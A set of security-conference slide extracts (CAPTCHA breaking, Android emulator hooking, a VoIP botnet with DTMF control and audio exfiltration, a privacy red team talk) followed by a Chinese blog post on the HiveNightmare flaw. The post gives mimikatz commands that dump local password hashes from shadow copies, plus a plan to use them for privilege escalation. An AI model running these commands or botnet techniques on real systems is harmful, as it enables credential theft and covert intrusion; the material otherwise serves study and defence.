Linear Congruences,” SIAM Journal on Computing, vol. 17, Apr. 1988, pp.
262-280.
[3 ] A. Frieze, R. Kannan, and J. Lagarias, “Linear Congruential Generators Do
Not Produce Random Sequences,” Foundations of Computer Science, 1984.
25th Annual Symposium on, 1984, pp. 480-484.
Breaking CAPTCHA
• Recovering perl programmer ⇒ Lazy
• Off the shelf technology?
• tesseract
• jocr
• ocrad
• etc.
General Approach
• Use OCR engines as black box
• Additional pre / post processing to improve
performance
Image Processing
• Remove / smooth noise
• Automate
• PIL
• ImageMagick
• Doesn’t add data, just makes more suitable
for OCR engine.
Image Processing
Initial
Processed
Training Sets
• OCR engines need to be trained for
particular fonts / styles
• Training can be automated
• Use LaTeX, etc to generate data
• Use actual CAPTCHA data
Other Strategies
• Attacking Audio CAPTCHAs
• Advantages?
• Only one dimension
• Frequency domain more intuitive
• Less room for noise
Audio
• Time Domain
Time Domain
Guess
where
the
numbers
are?
Audio
• Frequency Domain
• Fourier Transform
• Decompose (almost) any function in
terms of complex exponentials
• Perform frequency level filtering
• More intuitive for sound than image
Power Spectral Density
[ demos here ]
What to do?
• Integrate cultural knowledge based on
userbase.
• Hot or not CAPTCHA
• Cats vs. Dogs
Bourbon or Scotch? | pdf |
One Step Before Game Hackers
-- Instrumenting Android Emulators
Defcon 26
nevermoe
© DeNA Co., Ltd.
Self Introduction
• nevermoe (@n3v3rm03, i [at] nevermoe.com)
• Chinese in Japan
• Security engineer in DeNA Co., Ltd.
• Love playing / hacking games
© DeNA Co., Ltd.
Agenda
• Background
• Emulator Internal
• Hooking
• Demo
• Conclusion
© DeNA Co., Ltd.
Background:
Game Cheating Threat Model
Users
Cheaters
Game Vendors
PC
YES
YES
YES
Mobile
(Normally) No
YES
No
Full Control?
© DeNA Co., Ltd.
Background:
Mobile Game Cheating Business Model
• Is there an easy way to distribute cheating tools?
• Android emulators!
• Unified environment
• Already or easily rooted
© DeNA Co., Ltd.
• Cheating on emulators
• Popular: Touch simulation (e.g. Mobile Anjian)
• Why are there no hooking tools?
• Game codes are usually native
• Commercial emulators use Intel Houdini for arm-x86
translation in native code
Background:
Mobile Game Cheating Business Model
Hooking solution is not obvious
© DeNA Co., Ltd.
Background:
Purpose
• Enable hooking on commercial Android emulators!
© DeNA Co., Ltd.
Emulator Internal:
Targets
Client Ver.
Android Ver.
Houdini Ver.
BlueStacks
3.56.73.1817
4.4.2
4.0.8.45720
NOX
6.0.5.2
4.4.2
4.0.8.45720
NOX
6.0.5.2
5.5.1
5.0.7b_x.48396
LeiDian
2.0.54
5.5.1
5.0.7b_x.48396
MEmu
5.3.1
5.5.1
5.0.7b_x.48396
© DeNA Co., Ltd.
Emulator Internal:
Command Line Binary
// file: enable_nativebridge.sh
cd $binfmt_misc_dir
if [ -e register ]; then
echo ':arm_exe:M::\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x28::'"/system/lib/arm/houdini:P" > register
echo ':arm_dyn:M::\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x28::'"/system/lib/arm/houdini:P" > register
fi
• Hook it
• LD_PRELOAD=libinject_arm.so ./target_exe_arm
• ptrace(x86) target_pid
• ptrace(arm) target_pid
© DeNA Co., Ltd.
Emulator Internal:
Java Application
• Is LD_PRELOAD useful in Java application hooking?
© DeNA Co., Ltd.
• Normal startup
Emulator Internal:
Java Application
Zygote
fork
Application
loop
startup request from Activity Manager
init houdini
© DeNA Co., Ltd.
• Start with “wrap” system property
• setprop wrap.com.nevermoe.example LD_PRELOAD=libinject.so
Emulator Internal:
Java Application
Zygote
fork
Shell
loop
startup request from Activity Manager
exec shell
fork
execv(app_process)
Application
init houdini
© DeNA Co., Ltd.
• Start with “wrap” system property
Emulator Internal:
Java Application
runOnce() — frameworks/base/core/java/com/android/internal/os/ZygoteConnection.java
forkAndSpecialize() — frameworks/base/core/java/com/android/internal/os/Zygote.java
ForkAndSpecializeCommon() — frameworks/base/core/jni/com_android_internal_os_Zygote.cpp
runSelectLoop() — frameworks/base/core/java/com/android/internal/os/ZygoteInit.java
handleChildProc() — frameworks/base/core/java/com/android/internal/os/ZygoteConnection.java
execApplication() — frameworks/base/core/java/com/android/internal/os/WrapperInit.java
public static void execApplication(String invokeWith, String niceName,
int targetSdkVersion, FileDescriptor pipeFd, String[] args) {
StringBuilder command = new StringBuilder(invokeWith);
command.append(" /system/bin/app_process /system/bin --application");
if (niceName != null) {
command.append(" '--nice-name=").append(niceName).append("'");
}
command.append(" com.android.internal.os.WrapperInit ");
command.append(pipeFd != null ? pipeFd.getInt$() : 0);
command.append(' ');
command.append(targetSdkVersion);
Zygote.appendQuotedShellArgs(command, args);
Zygote.execShell(command.toString());
}
© DeNA Co., Ltd.
Emulator Internal:
Java Application
• Start with "wrap" property
/system/bin/sh -c LD_PRELOAD=libinject_arm.so \
/system/bin/app_process /system/bin --application \
'--nice-name=com.nevermoe.myapp' \
com.android.internal.os.WrapperInit 48 21 \
'android.app.ActivityThread'
• Won't do the trick
x86
arm
© DeNA Co., Ltd.
Emulator Internal:
Init Houdini
main() — frameworks/base/cmds/app_process/app_main.cpp
AndroidRuntime::start() — frameworks/base/core/jni/AndroidRuntime.cpp
ZygoteInit::main() — frameworks/base/core/java/com/android/internal/os/ZygoteInit.java
JNI_CreateJavaVM() — art/runtime/jni_internal.cc
Runtime::Start() — art/runtime/runtime.cc
AndroidRuntime::startVm() — frameworks/base/core/jni/AndroidRuntime.cpp
• (Android 5.1.1 / 4.4.2) app_process -- Start as Zygote
© DeNA Co., Ltd.
• (Android 5.1.1) Zygote fork process
Emulator Internal:
Init Houdini
runOnce() — frameworks/base/core/java/com/android/internal/os/ZygoteConnection.java
forkAndSpecialize() — frameworks/base/core/java/com/android/internal/os/Zygote.java
callPostForkChildHooks() — frameworks/base/core/java/com/android/internal/os/Zygote.java
postForkChild() — libcore/dalvik/src/main/java/dalvik/system/ZygoteHooks.java
ZygoteHooks_nativePostForkChild() —art/runtime/native/dalvik_system_ZygoteHooks.cc
ForkAndSpecializeCommon() — frameworks/base/core/jni/com_android_internal_os_Zygote.cpp
Runtime::DidForkFromZygote — art/runtime/runtime.cc
InitializeNativeBridge — system/core/libnativebridge/native_bridge.cc
InitializeNativeBridge — art/runtime/native_bridge_art_interface.cc
runSelectLoop() — frameworks/base/core/java/com/android/internal/os/ZygoteInit.java
handleChildProc() — frameworks/base/core/java/com/android/internal/os/ZygoteConnection.java
zygoteInit() — frameworks/base/core/java/com/android/internal/os/RuntimeInit.java
© DeNA Co., Ltd.
• Android 5.1.1
Emulator Internal:
Init Houdini
// Native bridge interfaces to runtime.
struct NativeBridgeCallbacks {
uint32_t version;
bool (*initialize)(const NativeBridgeRuntimeCallbacks* runtime_cbs, const char* private_dir,
void* (*loadLibrary)(const char* libpath, int flag);
void* (*getTrampoline)(void* handle, const char* name, const char* shorty, uint32_t len);
bool (*isSupported)(const char* libpath);
const struct NativeBridgeRuntimeValues* (*getAppEnv)(const char* instruction_set);
bool (*isCompatibleWith)(uint32_t bridge_version);
NativeBridgeSignalHandlerFn (*getSignalHandler)(int signal);
};
// libhoudini.so
.data:00379198 NativeBridgeItf dd 2
.data:0037919C dd offset sub_1BD070
.data:003791A0 dd offset sub_1BCC80
.data:003791A4 dd offset sub_1BCD60
.data:003791A8 dd offset sub_1BCEC0
.data:003791AC dd offset sub_1BCF40
.data:003791B0 dd offset sub_1BCF90
.data:003791B4 dd offset sub_1BCFE0
© DeNA Co., Ltd.
• Android 4.4.2
Emulator Internal:
Init Houdini
dvmLoadNativeCode()
houdini::hookDlopen()
houdini::hookJniOnload()
houdiniHookInit()
// file: platform/dalvik/vm/Native.cpp
hookDlopen()
{
v3 = dlopen((const char *)this, (int)a2);
if ( v3 )
return v3;
else
houdiniHookInit();
}
houdiniHookInit()
{
v15 = dword_4F2F84;
*(_DWORD *)(v15 + 8) = dlsym(handle, "dvm2hdDlopen");
v16 = dword_4F2F84;
*(_DWORD *)(v16 + 12) = dlsym(handle, "dvm2hdDlsym");
v17 = dword_4F2F84;
*(_DWORD *)(v17 + 20) = dlsym(handle, "dvm2hdNeeded");
v18 = dword_4F2F84;
*(_DWORD *)(v18 + 16) = dlsym(handle, "dvm2hdNativeMethodHelper");
v19 = dword_4F2F84;
*(_DWORD *)(v19 + 24) = dlsym(handle, "androidrt2hdCreateActivity");
}
© DeNA Co., Ltd.
• Genymotion
• No houdini provided
• Bluestacks
• lib3btrans.so == libhoudini.so
• NOX
• packed libdvm.so
Emulator Internal:
Houdini License
© DeNA Co., Ltd.
• Genymotion
• No houdini provided
• Bluestacks
• lib3btrans.so == libhoudini.so
• NOX
• packed libdvm.so
Emulator Internal:
Houdini License
© DeNA Co., Ltd.
Hooking:
Existing Hooking Framework
• Xposed
• Only Java Layer (Discuss this later)
• Substitute app_process to load its own jar file
• Frida
• Omnipotent
• “I'm afraid NOX is unsupported. Please use a stock
emulator or real device, or help us fix this. It's not a priority
for me personally so unless somebody helps out, NOX
support will not happen. :-/”
• Substrate (on Android)
• Fake liblog.so
• Outdated
© DeNA Co., Ltd.
Hooking:
Normal Approach
ptrace attach
ptrace call dlopen
hook function
tracer
tracee
libA.so
libB.so
libinject.so
...
hook
function
© DeNA Co., Ltd.
Hooking on Emulator:
(A) Utilize Houdini
ptrace attach
ptrace call dlopen
open arm lib
by houdini
tracer
tracee
lib_x86.so
lib_arm.so
libinject_x86.so
...
hook
function
hook function
libinject_arm.so
open arm lib
by houdini
© DeNA Co., Ltd.
Hooking on Emulator:
(B) Utilize Xposed
public class NativeHook {
static{
System.load("/path/to/libinject_arm.so");
}
public native static void initNativeHook();
}
findAndHookMethod("android.app.Application", lpparam.classLoader,
"onCreate", new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws
Throwable {
NativeHook.initNativeHook();
}
@Override
protected void afterHookedMethod(MethodHookParam param) throws
Throwable {
}
});
© DeNA Co., Ltd.
Demo
• Method A: github.com/nevermoe/EHook
• stable with ptrace
• Method B: github.com/nevermoe/XEHook
• Early trace
• Does not trigger anti-debug mechanism
void real_init_func()
{
hook_by_addr(&h1, "nb/libc.so", target_addr, hook_target);
hook_by_name(&h2, "nb/libc.so", "recvfrom", hook_recvfrom);
}
Usage:
© DeNA Co., Ltd.
Conclusion
• Mobile game is getting more popular as well as cheating
• Cheating patterns change as the technique develops
• To cooperate with emulator vendors, or not to, that is the question
• Advertising on emulator and targeting the emulator users?
• Restricting emulator users?
• Putting emulators users to a dedicated server?
• Let's see what's going to change
© DeNA Co., Ltd.
Thank You! | pdf |
Security Art | August 2011
www.security-art.com
Itzik Kotler, Chief Technology Officer
Iftach Ian Amit, VP Consulting
Sounds Like Botnet
Intro to VoIP
• It’s everywhere
– Home (Vonage, Skype, TeamSpeak, Comcast,
etc…)
– Office (Cisco, Avaya, Lucent, Asterisk, etc…)
• Easy to deploy
– Most are “plug and talk” with fancy web interfaces
to configure features such as voicemail,
forwarding, conference calls, etc…
Overview of SIP
• Request/Response model
• Responsible for setup/teardown of
voice/video calls
• Designed to allow “piercing” of firewalls, NAT,
etc…
• Security? meh… (basic identification, usually
not required in most PBXs, easily sniffed…)
VoIP as a Getaway Car
• So… VoIP can traverse firewalls easily
• And can go outside the corporate network
over PSTN lines (no internetz needed…)
• And is rarely monitored (“can you hear me
now” ain’t gonna pass through the DLP…)
• EXFILTRATE!
What is a VoIP Botnet
• Take your good ol’e botnet
• Disconnect all C&C channels
• Replace with VoIP
• Profit?
• Fully mobilized (NAT piercing)
• Looks more legit (try to pick THAT out of the
traffic)
• Harder to peek into (can you spell “whazzzzup?”
in RTP?)
Who Needs a VoIP Botnet
• Well, everyone…
• Botmaster is more mobile (literally)
• More anonymous C&C servers (conf call bridge
numbers are aplenty…)
• Can actually transfer fair amounts of data
back/forth (remember the modem days?)
• It’s starting to show up as alternative methods of
covert communications
– Sorry spooks…
VoIP Botnet in Action
• Red Team Penetration Testing Engagement
• Botnet in No Internet/Closed Networks
• Botnet for VoIP Phones
VoIP Botnet Architecture
• Telephony systems allows both Unicast and
Multicast communication
• Unicast:
– Bot calls Bot Master
– Bot Master calls Bot (registered ext. on his PBX)
• Multicast:
– Bot A calls Conference Call
– Bot B calls Conference Call
– Bot Master joins Conference Call
VoIP Botnet Architecture
• Conference Call as “IRC Channel”
Conference Call
Bot
Bot
Bot
Bot
Master
The Call
• Calling can be made via TCP/IP or PSTN
Bot/Bot Master
TCP/IP (SIP, H.323,…)
PSTN/VoIP Trunk
Conference Call
Moshi Moshi
• Open-source VoIP Bot written in Python
– Uses SIP as VoIP Protocol
– Uses Text-to-speech Engines for Output
– Uses DTMF Tones for Input
• Download your copy at:
– http://code.google.com/p/moshimoshi/
Press 1 to Continue in l33t Speak
• DTMF (Dual-tone multi-frequency signaling)
are used for signaling over telephone lines in
the voice-frequency band between telephone
handsets and other devices and switching
centers.
• DTMF tones are standardized and can be sent
and received from any phone
Asterisk as C&C and DTMF
• Asterisk is free software that transforms a
computer into a communication server
• We’re using AsteriskNow 1.7.1 Linux Distribution
• MeetMe is a conference bridge for Asterisk
and supports passing DTMF through the
conference.
• To pass DTMF through the conference add ‘F’
option to MEETME_OPTS at extensions.conf
DTMF Pass through/Relaying
• Conf. Call to relay DTMF to other calls
Conference Call
Bot A
Bot B
Bot C
Bot
Master
Pressed 1#
Bot C: Heard 1#
Bot B: Heard 1#
Bot A: Heard 1#
DTMF Tones as C&C
• The (made-up) Rules
– ‘*’ is End of Line (EOL)
– ‘#’ is a delimiter (i.e. Space)
• Examples
– ‘0#*’ invoke command 0 without arguments
– ‘1#123#*’ invoke command 1 with one arg ‘123’
– ‘2#1#2#*’ invoke command 2 with args ‘1’ and ‘2’
• It’s your rules – go wild…
Ring, Ring!
Text-to-Speech as Data Leakage
• It's only natural that since we don’t have visuals
in phone conversation, to use voice
• Passwords, documents, settings and
acknowledgements can all be read back
• Some systems (Mac, Windows) includes built-in
Text-to-Speech engines, others requires
installation
• External utilities can be used to convert different
formats (e.g. Microsoft Word) into simpler text
files
Talk to me… Woo hoo!
The Getaway: Modulation
• Take any arbitrary binary data
• Devise a way to transform bytes to sounds
– PoC: every ½ byte one of 16 octaves within the
human audible range (~200Hz - ~2000Hz)
• Record each ½ byte octave
– PoC uses ½ second tones (for legibility in a
conference )
• Music to my ears…
Demo: Binary Data Modulation -> Data
Exfiltration
• Transform data to sound
• Dial, leave a message…
• Transform recorded message to data
• Profit?
ET Phone Home!
VoIP as VPN
• Alternative unmonitored Internet access
– No DLP
– No Firewalls
– No IDS/IPS/DPI
• Allows using already-existing C&C protocols
– IRC
– HTTP
• Bot Master can easily explore his Botnet
– nmap –sS 10.0.0.0/8
TCP/IP over VoIP
• Bring back Modems to the game
• Use V.42/HDLC/PPP protocols
IP
UDP
SIP/RTSP
V.42/HDLC/PPP
IP
TCP
•
Works with Hardware Modems
•
Works with Software Modems
•
Works within Voice frequency band
•
Works under poor connectivity conditions
•
Two-way communication channel
Did You Hear That?
• VoIP Botnets are as good and even better in
some cases, than IRC, P2P, and HTTP Botnets.
• VoIP Botnets strengths:
– Can be operated from a payphone, or a Mobile.
– Can be accessed from both PSTN and Internet
– Are not blocked by your typical IDS/IPS signatures
Countermeasures
• Separate VoIP from Corporate Network
– Yes, COMPLETELY!
• Monitor VoIP Activity
– It’s your data. Same as you do for web/emails…
• Consider whitelisting Conf. Call Numbers
The Future Sound of Botnets
• Hearing is Believing
– Speech-to-Text as Input
• Going Mobile
– Text-to-SMS as Output
– SMS-to-Voice Calls as Input
• Meeting new Appliances
– T.38 (Fax) as Output (e.g. “Screen Shots”)
• Meeting old Appliances
– Modem (PPP) as Input/Output (e.g. “Internal VPN”)
Questions?
Itzik Kotler ([email protected])
Iftach Ian Amit ([email protected])
Thanks!
Itzik Kotler (Twitter: @itzikkotler)
Iftach Ian Amit (Twitter: @iiamit) | pdf |
#BHUSA @BlackHatEvents
Better Privacy Through Offense:
How To Build a Privacy Red Team
Scott Tenaglia
Engineering Manager, Privacy Red Team, Meta
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
01
The Case for Offensive
Privacy
02
Security and Privacy
03
Meta’s Privacy Red Team
04
Operations Ideas
05
Final Thoughts
#BHUSA @BlackHatEvents
Information Classification: General
This talk is...
➢ The start of a conversation about offensive privacy.
➢ Potentially a blueprint for how your company could
create a similar team or offering.
➢ To help you understand how privacy red teaming fits
into a holistic privacy program.
This talk is not...
➢ A product or service pitch.
➢ A conversation about any other aspect of Meta
beyond privacy red teaming.
➢ About absolutes.
➢ The final word on this topic.
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
01
The Case for Offensive
Privacy
02
Security and Privacy
03
Meta’s Privacy Red Team
04
Operations Ideas
05
Final Thoughts
#BHUSA @BlackHatEvents
Information Classification: General
Have you ever...
➢ Been on an op, come across some PII, but don’t know what
to do about it?
➢ Been asked to start recording access to user data as a
finding?
➢ Been asked to perform a more privacy-focused assessment?
➢ Had a finding but no one cared because it have enough
“security” impact?
#BHUSA @BlackHatEvents
Information Classification: General
Security and Privacy programs
help mitigate risk.
Perceived Risk
Mitigations
Red Team
*Image courtesy of the NIST Privacy Framework https://www.nist.gov/privacy-framework/privacy-framework
Red teams identify actual risk by
testing mitigations from an
adversarial perspective.
Mitigations are a combination of
people, process, and technology
(i.e., a blue team).
#BHUSA @BlackHatEvents
Information Classification: General
Scraping
Red Team
Scanning
Identify the actual risk to
systems and networks.
*Image courtesy of the NIST Privacy Framework https://www.nist.gov/privacy-framework/privacy-framework
Perceived Risk
Mitigations
Attack Surface
Enumeration
Large Scale
Data Access
Identify the actual risk to
the user’s privacy and
their data.
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
01
The Case for Offensive
Privacy
02
Security and Privacy
03
Meta’s Privacy Red Team
04
Operations Ideas
05
Final Thoughts
#BHUSA @BlackHatEvents
Information Classification: General
Accessing Data
➢ Security red teams may avoid accessing user data because of the regulatory and legal implications.
➢ Privacy red teams focus on finding access to user data.
➢ This is a key differentiator in privacy red team operations.
➢ Partner with your legal team early and often to mitigate any legal and compliance consequences.
#BHUSA @BlackHatEvents
Information Classification: General
Adversaries
➢ Much of the adversarial conversation in security is
dominated by APTs and cyber criminal groups.
➢ Privacy adversaries differ in 3 ways:
➢ Timescale
➢ Resources
➢ Technical sophistication
Sophistication
Timescale
Resources
Abusive
Commercial
Service
APT
Scraping
#BHUSA @BlackHatEvents
Information Classification: General
Targets
➢ Security operations compromise systems and networks to indirectly access data.
➢ Privacy operations directly access data through products and services, because this is where many privacy controls are
implemented.
“Security targets the company, while privacy targets user data.”
#BHUSA @BlackHatEvents
Information Classification: General
Blue Teams
➢ At Meta we hired people, created processes, and developed
technologies to mitigate privacy risks. This could be
considered a privacy “blue team.”
➢ But adversaries have different motives and use various
methods to take data.
➢ Privacy red team operations often test multiple blue teams.
Privacy
Security
Integrity
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
01
The Case for Offensive
Privacy
02
Security and Privacy
03
Meta’s Privacy Red Team
04
Operations Ideas
05
Final Thoughts
#BHUSA @BlackHatEvents
Information Classification: General
Proactively test people, processes, and technology from an adversarial
perspective to identify the actual risks to protecting users’ data and their privacy.
Mission
Functions
Privacy Adversary
Modeling
Privacy Weaknesses
Cataloging
Technical Assessments
Educate & Inform
Key Products/Services
❏Privacy ATT&CK Framework
❏Privacy Weaknesses Taxonomy
❏Privacy threat modeling
❏Tabletop exercises
❏Adversary emulation
❏Privacy purple team
❏Product compromise test
❏Risk management feedback
❏Incident response support
❏Engineering support
❏Privacy education and training
Meta’s Privacy Red Team
#BHUSA @BlackHatEvents
Information Classification: General
Team Composition
➢ An Engineering-First Discipline.
➢ We do technical assessments, not risk assessments.
➢ Looking for people with
✓ Adversarial mindset
✓ Offensive security skillset
✓ Privacy instincts
➢ We recruit from 4 disciplines: Red Teamers, Pen Testers,
Vulnerability/Security Researchers, AppSec Engineers.
➢ Legal, risk, and policy are important partners, but not team members.
➢ Meta is setup to facilitate these partnerships.
Vulnerability
Researchers
&
AppSec Engs
Privacy Red
Team
Red Team
&
Pen Testers
#BHUSA @BlackHatEvents
Information Classification: General
Privacy Weakness Taxonomy
➢ A compendium of weaknesses, faults, flaws, and bad
practices that are the root cause of privacy issues, as well as
a taxonomy for categorizing them.
➢ Goals:
➢ Provide a centralized and authoritative source of knowledge about
privacy weaknesses.
➢ Provide a common language to discuss privacy weaknesses.
➢ Define a new metric for measuring privacy risk.
➢ Understand the difference between security vulnerabilities and
privacy weaknesses.
Vulnerability
Weakness
Vulnerability/
Weakness
Weakness
Vulnerability
Weakness
Vulnerability
?
#BHUSA @BlackHatEvents
Information Classification: General
Privacy ATT&CK Framework
➢ Effort to accurately capture privacy-focused
adversarial Tactics, Techniques and Common
Knowledge.
➢ The types of adversaries that we focus on in privacy
may not be a one-to-one match to those seen in cyber
security and their TTPs and objectives also differ.
➢ Goals:
1. To improve the detection, measurement, and hence
mitigation of threats.
2. To ensure that Red Teams can accurately emulate real
world adversaries.
TTP
TTP
TTP
TTP
TTP
Actor
Privacy ATT&CK
MITRE ATT&CK
#BHUSA @BlackHatEvents
Information Classification: General
Privacy Adversary
Emulation
Objective-based, campaign style
operations.
Scope: Spans products, services,
and features.
Goal: Test defenses against real
adversary activity.
﹘ Like traditional red team operations
Privacy Purple
Operations
Working with a blue team to improve
defenses using specific TTPs.
Scope: A specific privacy control or
safeguard.
Goal: Test a particular defense’s
resilience to specific TTPs.
﹘ How easy is it to bypass?
﹘ What are the corner cases?
Product Compromise
Test
Compromising a thing (feature, API, etc.)
from a privacy perspective.
Scope: to a specific product, service,
or feature.
Goal: Enumerate privacy weaknesses
﹘ Like finding all the vulnerabilities
Goal: Gain access to all the data
﹘ Like getting root
Technical Assessments
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
01
The Case for Offensive
Privacy
02
Security and Privacy
03
Meta’s Privacy Red Team
04
Operations Ideas
05
Final Thoughts
#BHUSA @BlackHatEvents
Information Classification: General
Account Attribution
Privacy
Security
Integrity
Sophistication
Timescale
Resources
Type of Operation: Adversary emulation
Adversarial Profile:
•
A political campaign’s digital PR agency have a data dump of voter contact details.
•
An internet troll trying to dox a bunch of people.
Objective(s):
•
Identify the risk of account enumeration and UII scraping associated from contact information (i.e.,
phone numbers and email addresses) and measure opportunity for scale.
•
Identify for a given list of user accounts what associated contact point data can be obtained (reverse
of point 1) and measure opportunity for scale.
Methodology: Focus on combining functionality
•
Authentication systems
•
Account recovery workflow
•
Contact importer
•
Developer APIs
#BHUSA @BlackHatEvents
Information Classification: General
Sensitive Data Leak
Privacy
Security
Integrity
Type of Operation: Privacy purple operation
Adversarial Profile:
•
Absent minded developer
•
Insider threat
•
External actor with access to our internal network
Objective(s):
•
Test effectiveness of detection mechanisms in identifying new streams with sensitive data exiting
infrastructure.
•
Test ability to track detected streams to owners.
Methodology: 2-week sprint model
1. Develop and release new data streams based on TTPs
2. Blue team hunts for the new data streams
3. Both teams identify data streams that avoided detection
Sophistication
Timescale
Resources
#BHUSA @BlackHatEvents
Information Classification: General
Data Type Focused
Privacy
Security
Integrity
Type of Operation: Adversarial emulation
Adversarial Profile:
•
Low-capability adversary: Abusive commercial services with access to off-the-shelf, open source
and inexpensive commercial tools.
•
High-capability (nation state) adversary: Has access to custom tooling, on-platform assets, insider
information, 0-day or n-day exploits, and skilled teams.
Objective(s):
•
Proactively identify how an adversary would access/use/modify a type of data.
•
Improve detection and and prevention of that activity.
Methodology:
•
Identify data types you have that are valuable to the adversary.
•
Enumerate TTPs to obtain data about high value targets and their immediate contacts.
•
Test TTPs and existing on-platform defenses and detections.
Sophistication
Timescale
Resources
#BHUSA @BlackHatEvents
Information Classification: General
Findings
➢ Security findings can be more objective.
•
The impact of security vulnerabilities (e.g., XSS or code injection) is well known.
•
There are industry best practices for mitigation (e.g., input validation and data encoding).
➢ Privacy findings can be more subjective.
•
Legal and regulatory environments help determine what is a finding.
•
The organization’s own statements about user/data privacy may make something a finding.
•
Often, we must take the users expectation of privacy into account.
➢ As privacy matures, we hope that findings become more objective.
•
We understand privacy weaknesses better
•
We understand privacy by design better
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
01
The Case for Offensive
Privacy
02
Security and Privacy
03
Meta’s Privacy Red Team
04
Operations Ideas
05
Final Thoughts
#BHUSA @BlackHatEvents
Information Classification: General
Metrics
Problem: Traditional red team metrics don’t necessarily apply
•
Time to compromise or time to detection don’t make sense
Goal: Drive fundamental change in our privacy posture.
Things to measure:
•
Understanding the space
﹘ New weaknesses
﹘ New TTPs
•
How we’re doing
﹘ Defenses validated
﹘ Gaps identified
•
The team’s impact
﹘ Problems found
Bugs, Vulnerabilities,
Weaknesses
Roadmap
changes
Design
Issues
Privacy Problem Pyramid
#BHUSA @BlackHatEvents
Information Classification: General
Lessons Learned
Compliance vs. Assurance
•
Compliance is ensuring that you are meeting some requirement (e.g., policy, law, regulation,
etc.)
•
You can be compliant but still vulnerable to adversary behavior.
•
Assurance goes beyond compliance to provide additional confidence.
Legal risks may be different than for a security red team
•
You’re may be accessing, collecting, storing, and using data in a different way.
•
Global regulations may require different mitigations to the risks of doing so.
We’re in the early stages of
•
Privacy as a technical discipline, separate from but linked to, legal and policy.
•
Offensive privacy as a fundamental component of a holistic privacy program.
Tech
Risk
Security
Privacy
#BHUSA @BlackHatEvents
Information Classification: General
Let’s Keep Talking
[email protected]
@scotttenaglia | pdf |
1 F5C
web
0x00
0x01
0x02
2 string
3
4
0x03
0x04 | pdf |
HiveNightmare/SeriousSAM本地权限提升
0x00 背景介绍
微软发布一个CVE-2021-36934的问题,在Twitter上有点火,不长的时间github就出现了很多poc项目,
我想原因是原理简单,操作方便,危害严重,极具实用性。
同时在朋友圈看见@daiker同学,结合他们小伙伴对setntml和changentml的分析文章,使得这个小小
的acl问题发挥出巨大价值。
闲话不多说,直接上操作(想读原理的同学,可以跳到0x02,只想知道怎么操作的同学,接着读)
0x01 工具操作
据老外研究显示影响版本:(这个我没有验证)
WIN 10 1809 及以上有危害
WIN 10 1803 及以下无危害
工具1:mimikatz 2.2.0 20210721 Shadowcopies
查看是否有备份:
使用mimikatz解出hash:
misc::shadowcopies
lsadump::sam /system:\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM
/sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
工具2:https://github.com/GossiTheDog/HiveNightmare
0x02 原理讲解
这个CVE的原理很简单,公鸡队的同学应该都是清楚windows获取本地账户hash的几种方式(不清楚的
同学谷歌下),主要涉及的就是SAM、SECURITY、SYSTEM这3个文件。这三个文件都在
C:\Windows\System32\config 目录下面。问题就出在这3个文件的访问权限上。
我们来看下ACL(access control list):
但是呢,你直接去读取的时候会显示被占用0x00000020 ERROR_SHARING_VIOLATION ,这个只代表被占
用,不代表没权限,我们需要解决的就是被占用问题。因此这里通常情况下你是直接读取不了SAM等文
件的。
然后这需要结合另外一个场景,就是机器上存在卷影备份,通过读取卷影备份中的SAM来获取hash,看
到这儿你可能会觉得鸡肋,实际上卷影备份的存在率相当高,高到99.999%,很多IT运维或者杀软等防
护软件会自动创建卷影备份,防止数据丢失,勒索软件等(勒索软件一般会删除你的所有备份再给你加
密),因此危害不小。
最后真实的利用,就是去查看本机有没有卷影备份,有就读取响应SAM、SECURITY、SYSTEM文件,解
出hash。
c:\Windows\System32>icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX) <-- 普通user用户也能有读取权限
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:(I)(RX)
已成功处理 1 个文件; 处理 0 个文件时失败
原理就这么多了,很简单,如果你想自己编写工具的话,有个小tips:
上文中的HiveNightmare工具,是通过路径拼接爆破枚举的方式,mimikatz作者提出使用以下2个API读
取目录文件,不管是枚举还是列目录,问题都不是很大。
NtOpenDirectoryObject
NtQueryDirectoryObject
0x03 扩展延伸
在朋友圈看见@daiker同学说:“微软又爆了一个普通用户读取sam注册表的bug,昨天我就在琢磨着读
到hash能干嘛,高版本的一般administrator是禁用的,读了hash用处也不大,管理员组的非
administrator用户又有remote uac限制。用hash runas好像也没有现有工具,不知道有api能做到
吗。直到今天long716发现他之前的研究满足这个场景,拿着hash把密码改了,runas以后再改回来,
完美提权。”
大致意思就是,我们有了hash可以利用setntml和changentml去修改密码。这其实是有一个前提就是
hash很难破解的情况下,实际情况中hash的破解率的确不高,因此怎么真正的提权,还需要思考后续利
用。
具体阅读:https://mp.weixin.qq.com/s/QvdCtlWtn78FKXkwy9_CrA,在这儿我就不详细秒速了。
在这儿我想到了一个高频的的实际场景考虑。就是你钓鱼到一台机器是普通账户权限,操作各种受限,
很难受,如果你使用这个CVE搞到了hash,就可以改个管理员权限账号的密码,然后runas过去,再复
原密码。你现在就美滋滋的管理员权限账号,达到一种提升权限的效果。
后面我会结合这些情况,写个一键化工具,并尝试cs插件化。
0x04 修复方案
第一步:修改config目录下文件权限
icacls %windir%\system32\config\*.* /inheritance:e
第二步:删除已有卷影备份
vssadmin delete shadows /all
第三步:重建卷影备份(非必须)
建议重建,防止系统出问题导致数据丢失。
0x05 引用文章
https://nakedsecurity.sophos.com/2021/07/21/windows-hivenightmare-bug-could-leak-pass
words-heres-what-to-do/
https://mp.weixin.qq.com/s/QvdCtlWtn78FKXkwy9_CrA
